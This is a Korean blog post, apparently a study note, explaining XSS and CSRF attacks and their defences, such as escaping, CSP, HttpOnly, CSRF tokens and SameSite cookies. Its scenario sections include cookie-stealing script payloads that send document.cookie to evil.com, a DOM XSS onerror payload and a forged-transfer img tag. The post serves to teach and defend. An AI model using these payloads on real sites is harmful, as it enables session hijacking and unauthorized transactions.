[보안] XSS?, CSRF? - 웹 보안의 대표적인 두 가지 공격 이해하기

1. XSS (Cross-Site Scripting)

공격자가 악의적인 스크립트를 웹 페이지에 삽입하여, 다른 사용자의 브라우저에서 실행되도록 하는 공격

- 게시물 또는 URL에 포함된 악성 스크립트가 동작하여 발생하는 취약점이기 때문에 불특정 다수를 대상으로 공격을 시도할 수 있다.

- 쿠키값 탈취를 통한 권한 도용, 세션 토큰 탈위, keylogger 스크립트를 삽입하여 키보드 입력값 탈취 등이 가능하다.

 

1-1. 공격 유형에 따른 분류

(1) Stored XSS(저장형 크로스사이트 스크립팅)

공격자의 악성 스크립트가 데이터베이스에 저장되고 이 값을 출력하는 페이지에서 피해가 발생

가장 위험한 유형으로, 악성 스크립트가 서버에 영구적으로 저장

 

공격 시나리오

1. 공격자가 게시판에 악성 스크립트 포함된 글 작성
게시글 내용: 안녕하세요! <script>document.location='http://evil.com/steal?cookie='+document.cookie</script>

2. 서버가 검증 없이 DB에 저장

3. 다른 사용자가 해당 게시글 조회

4. 사용자의 브라우저에서 악성 스크립트 실행 → 쿠키가 공격자 서버로 전송됨

 

(2) Reflected XSS (반사형 크로스사이트 스크립팅)

사용자가 요청한 악성스크립트가 사용자 측에서 반사되어 동작하는 취약점으로, 공격자의 악성스크립트가 데이터베이스와 같은 저장소에 별도로 저장되지 않고 사용자의 화면에 즉시 출력되면서 피해가 발생.

공격 시나리오

1. 공격자가 악성 스크립트가 포함된 URL 생성 (서버가 파라미터를 검증하지않고 그대로 반영)
https://example.com/search?q=<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>

2. 피싱 이메일 등으로 피해자에게 링크 전송
"경품 당첨! 클릭하세요: [악성 URL]"

3. 피해자가 링크 클릭

4. 피해자의 브라우저에서 서버 응답을 렌더링하는 과정에서 악성 스크립트 실행 → 사용자 쿠키 정보가 공격자 서버(evil.com)로 전송됨

 

(3) DOM Based XSS

공격자의 악성스크립트가 DOM 영역에서 실행 → 서버와의 상호작용 없이 브라우저 자체에서 악성스크립트가 실행됨

서버 로그에 남지 않아 탐지가 어려움

공격 시나리오

// 취약한 JavaScript 코드
const username = window.location.hash.substring(1);
document.getElementById('welcome').innerHTML = "환영합니다, " + username;

// 공격 URL
https://example.com/#<img src=x onerror=alert(document.cookie)>

// 결과적으로 실행되는 HTML
<div id="welcome">
  환영합니다, <img src=x onerror=alert(document.cookie)>
</div>

 

1-2. XSS 공격 유형 비교

구분 Stored XSS Reflected XSS DOM XSS
악성 코드 위치 서버 (DB)  요청값 → 서버 응답 브라우저 DOM
서버 관여 있음 있음 없음
실행 시점 페이지 조회 링크 클릭 후 응답 JS DOM 조작 시

 

1-3. XSS 대응방안

(1) 입력값 검증 및 필터링

app.post('/comment', (req, res) => {
  let comment = req.body.comment;
  
  // HTML 태그 제거 또는 이스케이프
  comment = validator.escape(comment);
  
  db.save(comment);
});

 

(2) 출력시 인코딩

- React는 자동으로 인코딩이 된다.

 

(3) Content Security Policy (CSP) 적용

<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'self' https://trusted.cdn.com">

- 인라인 스크립트 실행 차단

- 특정 도메인의 스크립트만 허용

- eval() 같은 위험한 함수 차단

 

(4) HttpOnly 쿠키 

- 자바스크립트에서 쿠키 접근 자체가 불가능하게함

- XSS 실행 자체(악성코드 실행 자체)는 막지 못함. 피해를 최소화하기 위한 방안


2. CSRF (Cross-Site Request Forgery, 사이트간 요청 위조)

사용자가 인증된 상태에서 의도하지 않은 요청을 공격자가 만든 페이지를 통해 실행되도록 하는 공격

- 서버가 사용자(브라우저)를  신뢰한다는 점을 악용

- 사용자 권한으로 악의적인 요청 실행

 

2-1. 공격 시나리오

1. 사용자가 정상적인 웹사이트에 로그인하여 인증이 유지된 상태 (브라우저에 세션 쿠키가 저장되어 있음)

2. 공격자가 악성 요청이 포함된 페이지를 제작
악성 HTML 예시: <img src="https://bank.example.com/transfer?to=attacker&amount=1000000">

3. 공격자가 이메일, 게시글, 메신저 등을 통해 해당 페이지 링크를 사용자에게 전달 (또는 공격자가 운영하는 사이트에 사용자가 방문)

4. 사용자가 악성 페이지에 접근하는 순간 브라우저가 자동으로 요청 전송
→ 사용자의 인증 쿠키가 함께 포함됨

5. 서버가 요청의 출처를 검증하지 않고 처리
→ 사용자의 의도와 무관하게 송금 / 정보 변경 등의 행위가 실행됨

 

2-2. 대응 방안

 

(1) CSRF 토큰 (가장 기본적이고 효과적)

- 서버가 사용자 세션별로 예측 불가능한 토큰을 생성 (임의의 난수)

- 모든 상태 변경 요청(POST/PUT/DELETE)에 토큰을 포함하도록 요청

- 서버는 요청에 포함된 토큰이 세션의 토큰과 일치하는지 검증


→ 공격자는 토큰 값을 알 수 없어 위조 요청 실패 (Same-Origin Policy, 다른 출처의 응답 내용을 읽는 것을 금지)

→ 정리하면 서버만 알고 있는 토큰을 사용자의 HTML 폼 / JS에 심어두고, 요청마다 함께 제출하도록 강제!

 

(2) SameSite 쿠키 속성

- 쿠키에 SameSite 속성을 설정하여 크로스 사이트 요청 시 쿠키 전송 제한

res.cookie('sessionId', sessionId, {
  sameSite: 'strict',  // Strict: 외부 사이트에서 오는 모든 요청에 쿠키 미포함
  httpOnly: true,
  secure: true
});

 

 

 

출처

https://www.fis.kr/ko/major_biz/cyber_safety_oper/attack_info/security_news?articleSeq=3408 

https://www.wallarm.com/what/csrf-token

'지식' 카테고리의 다른 글

[인증] - 토큰 기반 인증  (1) 2025.12.19